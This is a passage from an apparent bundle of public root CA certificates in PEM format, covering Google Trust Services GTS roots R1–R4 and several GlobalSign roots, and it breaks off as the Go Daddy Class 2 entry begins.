      QWPKzv9pj2gOlTblzLmMCcpL3TGQlsjMH/1WljTbjhzqLL6FLmPdqqmV0/0plRPw
      yJiT2S0WR5ARg6I6IqIoV6Lr/sCMKKCmfecqQjuCgGOlYx8ZzHyyZqjC0203b+J+
      BlHZRYQfEs4kUmSFC0iAToexIiIwquuuvuAC4EDosEKAA1GqtH6qRNdDYfOiaxaJ
      SaSjpCuKAsR49GiKweR6NrFvG5Ybd0mN1MkGco/PU+PcF4UgStyYJ9ORJitHHmkH
      r96i5OTUawuzXnzUJIBHKWk7buis/UDr2O1xcSvy6Fgd60GXIsUf1DnQJ4+H4xj0
      4KlGDfV0OoIu0G4skaMxXDtG6nsEEFZegB31pWXogvziB4xiRfUg3kZwhqG8k9Me
      dKZssCz3AwyIDMvUclOGvGBG85hqwvG/Q/lwIHfKN0F5VVJjjVsSn8VoxIidrPIw
      q7ejMZdnrY8XD2zHc+0klGvIg5rQmjdJBKuxFshsSUktq6HQjJLyQUp5ISXbY9e2
      nKd+Qmn7OmMCAwEAAaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
      AQYwHQYDVR0OBBYEFNwuH9FhN3nkq9XVsxJxaD1qaJwiMB8GA1UdIwQYMBaAFNwu
      H9FhN3nkq9XVsxJxaD1qaJwiMA0GCSqGSIb3DQEBCwUAA4ICAQCR8EICaEDuw2jA
      VC/f7GLDw56KoDEoqoOOpFaWEhCGVrqXctJUMHytGdUdaG/7FELYjQ7ztdGl4wJC
      XtzoRlgHNQIw4Lx0SsFDKv/bGtCwr2zD/cuz9X9tAy5ZVp0tLTWMstZDFyySCstd
      6IwPS3BD0IL/qMy/pJTAvoe9iuOTe8aPmxadJ2W8esVCgmxcB9CpwYhgROmYhRZf
      +I/KARDOJcP5YBugxZfD0yyIMaK9MOzQ0MAS8cE54+X1+NZK3TTN+2/BT+MAi1bi
      kvcoskJ3ciNnxz8RFbLEAwW+uxF7Cr+obuf/WEPPm2eggAe2HcqtbepBEX4tdJP7
      wry+UUTF72glJ4DjyKDUEuzZpTcdN3y0kcra1LGWge9oXHYQSa9+pTeAsRxSvTOB
      TI/53WXZFM2KJVj04sWDpQmQ1GwUY7VA3+vA/MRYfg0UFodUJ25W5HCEuGwyEn6C
      MUO+1918oa2u1qsgEu8KwxCMSZY13At1XrFP1U80DhEgB3VDRemjEdqso5nCtnkn
      4rnvyOL2NSl6dPrFf4IFYqYK6miyeUcGbvJXqBUzxvd4Sj1Ce2t+/vdG6tHrju+I
      aFvowdlxfv1k7/9nR4hYJS8+hge9+6jlgqispdNpQ80xiEmEU5LAsTkbOYMBMMTy
      qfrQA71yN2BWHzZ8vTmR9W0Nv3vXkg==
      -----END CERTIFICATE-----

      # GTS Root R1
      -----BEGIN CERTIFICATE-----
      MIIFVzCCAz+gAwIBAgINAgPlk28xsBNJiGuiFzANBgkqhkiG9w0BAQwFADBHMQsw
      CQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEU
      MBIGA1UEAxMLR1RTIFJvb3QgUjEwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAw
      MDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZp
      Y2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjEwggIiMA0GCSqGSIb3DQEBAQUA
      A4ICDwAwggIKAoICAQC2EQKLHuOhd5s73L+UPreVp0A8of2C+X0yBoJx9vaMf/vo
      27xqLpeXo4xL+Sv2sfnOhB2x+cWX3u+58qPpvBKJXqeqUqv4IyfLpLGcY9vXmX7w
      Cl7raKb0xlpHDU0QM+NOsROjyBhsS+z8CZDfnWQpJSMHobTSPS5g4M/SCYe7zUjw
      TcLCeoiKu7rPWRnWr4+wB7CeMfGCwcDfLqZtbBkOtdh+JhpFAz2weaSUKK0Pfybl
      qAj+lug8aJRT7oM6iCsVlgmy4HqMLnXWnOunVmSPlk9orj2XwoSPwLxAwAtcvfaH
      szVsrBhQf4TgTM2S0yDpM7xSma8ytSmzJSq0SPly4cpk9+aCEI3oncKKiPo4Zor8
      Y/kB+Xj9e1x3+naH+uzfsQ55lVe0vSbv1gHR6xYKu44LtcXFilWr06zqkUspzBmk
      MiVOKvFlRNACzqrOSbTqn3yDsEB750Orp2yjj32JgfpMpf/VjsPOS+C12LOORc92
      wO1AK/1TD7Cn1TsNsYqiA94xrcx36m97PtbfkSIS5r762DL8EGMUUXLeXdYWk70p
      aDPvOmbsB4om3xPXV2V4J95eSRQAogB/mqghtqmxlbCluQ0WEdrHbEg8QOB+DVrN
      VjzRlwW5y0vtOUucxD/SVRNuJLDWcfr0wbrM7Rv1/oFB2ACYPTrIrnqYNxgFlQID
      AQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4E
      FgQU5K8rJnEaK0gnhS9SZizv8IkTcT4wDQYJKoZIhvcNAQEMBQADggIBAJ+qQibb
      C5u+/x6Wki4+omVKapi6Ist9wTrYggoGxval3sBOh2Z5ofmmWJyq+bXmYOfg6LEe
      QkEzCzc9zolwFcq1JKjPa7XSQCGYzyI0zzvFIoTgxQ6KfF2I5DUkzps+GlQebtuy
      h6f88/qBVRRiClmpIgUxPoLW7ttXNLwzldMXG+gnoot7TiYaelpkttGsN/H9oPM4
      7HLwEXWdyzRSjeZ2axfG34arJ45JK3VmgRAhpuo+9K4l/3wV3s6MJT/KYnAK9y8J
      ZgfIPxz88NtFMN9iiMG1D53Dn0reWVlHxYciNuaCp+0KueIHoI17eko8cdLiA6Ef
      MgfdG+RCzgwARWGAtQsgWSl4vflVy2PFPEz0tv/bal8xa5meLMFrUKTX5hgUvYU/
      Z6tGn6D/Qqc6f1zLXbBwHSs09dR2CQzreExZBfMzQsNhFRAbd03OIozUhfJFfbdT
      6u9AWpQKXCBfTkBdYiJ23//OYb2MI3jSNwLgjt7RETeJ9r/tSQdirpLsQBqvFAnZ
      0E6yove+7u7Y/9waLd64NnHi/Hm3lCXRSHNboTXns5lndcEZOitHTtNCjv0xyBZm
      2tIMPNuzjsmhDYAPexZ3FL//2wmUspO8IFgV6dtxQ/PeEMMA3KgqlbbC1j+Qa3bb
      bP6MvPJwNQzcmRk13NfIRmPVNnGuV/u3gm3c
      -----END CERTIFICATE-----

      # GTS Root R2
      -----BEGIN CERTIFICATE-----
      MIIFVzCCAz+gAwIBAgINAgPlrsWNBCUaqxElqjANBgkqhkiG9w0BAQwFADBHMQsw
      CQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEU
      MBIGA1UEAxMLR1RTIFJvb3QgUjIwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAw
      MDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZp
      Y2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjIwggIiMA0GCSqGSIb3DQEBAQUA
      A4ICDwAwggIKAoICAQDO3v2m++zsFDQ8BwZabFn3GTXd98GdVarTzTukk3LvCvpt
      nfbwhYBboUhSnznFt+4orO/LdmgUud+tAWyZH8QiHZ/+cnfgLFuv5AS/T3KgGjSY
      6Dlo7JUle3ah5mm5hRm9iYz+re026nO8/4Piy33B0s5Ks40FnotJk9/BW9BuXvAu
      MC6C/Pq8tBcKSOWIm8Wba96wyrQD8Nr0kLhlZPdcTK3ofmZemde4wj7I0BOdre7k
      RXuJVfeKH2JShBKzwkCX44ofR5GmdFrS+LFjKBC4swm4VndAoiaYecb+3yXuPuWg
      f9RhD1FLPD+M2uFwdNjCaKH5wQzpoeJ/u1U8dgbuak7MkogwTZq9TwtImoS1mKPV
      +3PBV2HdKFZ1E66HjucMUQkQdYhMvI35ezzUIkgfKtzra7tEscszcTJGr61K8Yzo
      dDqs5xoic4DSMPclQsciOzsSrZYuxsN2B6ogtzVJV+mSSeh2FnIxZyuWfoqjx5RW
      Ir9qS34BIbIjMt/kmkRtWVtd9QCgHJvGeJeNkP+byKq0rxFROV7Z+2et1VsRnTKa
      G73VululycslaVNVJ1zgyjbLiGH7HrfQy+4W+9OmTN6SpdTi3/UGVN4unUu0kzCq
      gc7dGtxRcw1PcOnlthYhGXmy5okLdWTK1au8CcEYof/UVKGFPP0UJAOyh9OktwID
      AQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4E
      FgQUu//KjiOfT5nK2+JopqUVJxce2Q4wDQYJKoZIhvcNAQEMBQADggIBAB/Kzt3H
      vqGf2SdMC9wXmBFqiN495nFWcrKeGk6c1SuYJF2ba3uwM4IJvd8lRuqYnrYb/oM8
      0mJhwQTtzuDFycgTE1XnqGOtjHsB/ncw4c5omwX4Eu55MaBBRTUoCnGkJE+M3DyC
      B19m3H0Q/gxhswWV7uGugQ+o+MePTagjAiZrHYNSVc61LwDKgEDg4XSsYPWHgJ2u
      NmSRXbBoGOqKYcl3qJfEycel/FVL8/B/uWU9J2jQzGv6U53hkRrJXRqWbTKH7QMg
      yALOWr7Z6v2yTcQvG99fevX4i8buMTolUVVnjWQye+mew4K6Ki3pHrTgSAai/Gev
      HyICc/sgCq+dVEuhzf9gR7A/Xe8bVr2XIZYtCtFenTgCR2y59PYjJbigapordwj6
      xLEokCZYCDzifqrXPW+6MYgKBesntaFJ7qBFVHvmJ2WZICGoo7z7GJa7Um8M7YNR
      TOlZ4iBgxcJlkoKM8xAfDoqXvneCbT+PHV28SSe9zE8P4c52hgQjxcCMElv924Sg
      JPFI/2R80L5cFtHvma3AH/vLrrw4IgYmZNralw4/KBVEqE8AyvCazM90arQ+POuV
      7LXTWtiBmelDGDfrs7vRWGJB82bSj6p4lVQgw1oudCvV0b4YacCs1aTPObpRhANl
      6WLAYv7YTVWW4tAR+kg0Eeye7QUd5MjWHYbL
      -----END CERTIFICATE-----

      # GTS Root R3
      -----BEGIN CERTIFICATE-----
      MIICCTCCAY6gAwIBAgINAgPluILrIPglJ209ZjAKBggqhkjOPQQDAzBHMQswCQYD
      VQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIG
      A1UEAxMLR1RTIFJvb3QgUjMwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAw
      WjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2Vz
      IExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjMwdjAQBgcqhkjOPQIBBgUrgQQAIgNi
      AAQfTzOHMymKoYTey8chWEGJ6ladK0uFxh1MJ7x/JlFyb+Kf1qPKzEUURout736G
      jOyxfi//qXGdGIRFBEFVbivqJn+7kAHjSxm65FSWRQmx1WyRRK2EE46ajA2ADDL2
      4CejQjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
      BBTB8Sa6oC2uhYHP0/EqEr24Cmf9vDAKBggqhkjOPQQDAwNpADBmAjEA9uEglRR7
      VKOQFhG/hMjqb2sXnh5GmCCbn9MN2azTL818+FsuVbu/3ZL3pAzcMeGiAjEA/Jdm
      ZuVDFhOD3cffL74UOO0BzrEXGhF16b0DjyZ+hOXJYKaV11RZt+cRLInUue4X
      -----END CERTIFICATE-----

      # GTS Root R4
      -----BEGIN CERTIFICATE-----
      MIICCTCCAY6gAwIBAgINAgPlwGjvYxqccpBQUjAKBggqhkjOPQQDAzBHMQswCQYD
      VQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIG
      A1UEAxMLR1RTIFJvb3QgUjQwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAw
      WjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2Vz
      IExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjQwdjAQBgcqhkjOPQIBBgUrgQQAIgNi
      AATzdHOnaItgrkO4NcWBMHtLSZ37wWHO5t5GvWvVYRg1rkDdc/eJkTBa6zzuhXyi
      QHY7qca4R9gq55KRanPpsXI5nymfopjTX15YhmUPoYRlBtHci8nHc8iMai/lxKvR
      HYqjQjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
      BBSATNbrdP9JNqPV2Py1PsVq8JQdjDAKBggqhkjOPQQDAwNpADBmAjEA6ED/g94D
      9J+uHXqnLrmvT/aDHQ4thQEd0dlq7A/Cr8deVl5c1RxYIigL9zC2L7F8AjEA8GE8
      p/SgguMh1YQdc4acLa/KNJvxn7kjNuK8YAOdgLOaVsjh4rsUecrNIdSUtUlD
      -----END CERTIFICATE-----

      # GlobalSign ECC Root CA - R4
      -----BEGIN CERTIFICATE-----
      MIIB3DCCAYOgAwIBAgINAgPlfvU/k/2lCSGypjAKBggqhkjOPQQDAjBQMSQwIgYD
      VQQLExtHbG9iYWxTaWduIEVDQyBSb290IENBIC0gUjQxEzARBgNVBAoTCkdsb2Jh
      bFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMTIxMTEzMDAwMDAwWhcNMzgw
      MTE5MDMxNDA3WjBQMSQwIgYDVQQLExtHbG9iYWxTaWduIEVDQyBSb290IENBIC0g
      UjQxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wWTAT
      BgcqhkjOPQIBBggqhkjOPQMBBwNCAAS4xnnTj2wlDp8uORkcA6SumuU5BwkWymOx
      uYb4ilfBV85C+nOh92VC/x7BALJucw7/xyHlGKSq2XE/qNS5zowdo0IwQDAOBgNV
      HQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUVLB7rUW44kB/
      +wpu+74zyTyjhNUwCgYIKoZIzj0EAwIDRwAwRAIgIk90crlgr/HmnKAWBVBfw147
      bmF0774BxL4YSFlhgjICICadVGNA3jdgUM/I2O2dgq43mLyjj0xMqTQrbO/7lZsm
      -----END CERTIFICATE-----

      # GlobalSign ECC Root CA - R5
      -----BEGIN CERTIFICATE-----
      MIICHjCCAaSgAwIBAgIRYFlJ4CYuu1X5CneKcflK2GwwCgYIKoZIzj0EAwMwUDEk
      MCIGA1UECxMbR2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpH
      bG9iYWxTaWduMRMwEQYDVQQDEwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoX
      DTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMbR2xvYmFsU2lnbiBFQ0MgUm9vdCBD
      QSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQDEwpHbG9iYWxTaWdu
      MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAER0UOlvt9Xb/pOdEh+J8LttV7HpI6SFkc
      8GIxLcB6KP4ap1yztsyX50XUWPrRd21DosCHZTQKH3rd6zwzocWdTaRvQZU4f8ke
      hOvRnkmSh5SHDDqFSmafnVmTTZdhBoZKo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYD
      VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUPeYpSJvqB8ohREom3m7e0oPQn1kwCgYI
      KoZIzj0EAwMDaAAwZQIxAOVpEslu28YxuglB4Zf4+/2a4n0Sye18ZNPLBSWLVtmg
      515dTguDnFt2KaAJJiFqYgIwcdK1j1zqO+F4CYWodZI7yFz9SO8NdCKoCOJuxUnO
      xwy8p2Fp8fc74SrL+SvzZpA3
      -----END CERTIFICATE-----

      # GlobalSign Root CA
      -----BEGIN CERTIFICATE-----
      MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG
      A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv
      b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw
      MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i
      YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT
      aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ
      jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp
      xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp
      1Wrjsok6Vjk4bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdG
      snUOhugZitVtbNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJ
      U26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N8
      9iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8E
      BTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0B
      AQUFAAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOz
      yj1hTdNGCbM+w6DjY1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE
      38NflNUVyRRBnMRddWQVDf9VMOyGj/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymP
      AbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhHhm4qxFYxldBniYUr+WymXUad
      DKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveCX4XSQRjbgbME
      HMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A==
      -----END CERTIFICATE-----

      # GlobalSign Root CA - R3
      -----BEGIN CERTIFICATE-----
      MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4G
      A1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNp
      Z24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4
      MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMzETMBEG
      A1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCASIwDQYJKoZI
      hvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWtiHL8
      RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsT
      gHeMCOFJ0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmm
      KPZpO/bLyCiR5Z2KYVc3rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zd
      QQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjlOCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZ
      XriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2xmmFghcCAwEAAaNCMEAw
      DgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFI/wS3+o
      LkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZU
      RUm7lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMp
      jjM5RcOO5LlXbKr8EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK
      6fBdRoyV3XpYKBovHd7NADdBj+1EbddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQX
      mcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18YIvDQVETI53O9zJrlAGomecs
      Mx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7rkpeDMdmztcpH
      WD9f
      -----END CERTIFICATE-----

      # GlobalSign Root CA - R6
      -----BEGIN CERTIFICATE-----
      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
      5hpxbqCo8YLoRT5s1gLXCmeDBVrJpBA=
      -----END CERTIFICATE-----

      # GlobalSign Root E46
      -----BEGIN CERTIFICATE-----
      MIICCzCCAZGgAwIBAgISEdK7ujNu1LzmJGjFDYQdmOhDMAoGCCqGSM49BAMDMEYx
      CzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYDVQQD
      ExNHbG9iYWxTaWduIFJvb3QgRTQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMyMDAw
      MDAwMFowRjELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2Ex
      HDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBFNDYwdjAQBgcqhkjOPQIBBgUrgQQA
      IgNiAAScDrHPt+ieUnd1NPqlRqetMhkytAepJ8qUuwzSChDH2omwlwxwEwkBjtjq
      R+q+soArzfwoDdusvKSGN+1wCAB16pMLey5SnCNoIwZD7JIvU4Tb+0cUB+hflGdd
      yXqBPCCjQjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1Ud
      DgQWBBQxCpCPtsad0kRLgLWi5h+xEk8blTAKBggqhkjOPQQDAwNoADBlAjEA31SQ
      7Zvvi5QCkxeCmb6zniz2C5GMn0oUsfZkvLtoURMMA/cVi4RguYv/Uo7njLwcAjA8
      +RHUjE7AwWHCFUyqqx0LMV87HOIAl0Qx5v5zli/altP+CAezNIm8BZ/3Hobui3A=
      -----END CERTIFICATE-----

      # GlobalSign Root R46
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # Go Daddy Class 2 CA
      -----BEGIN CERTIFICATE-----
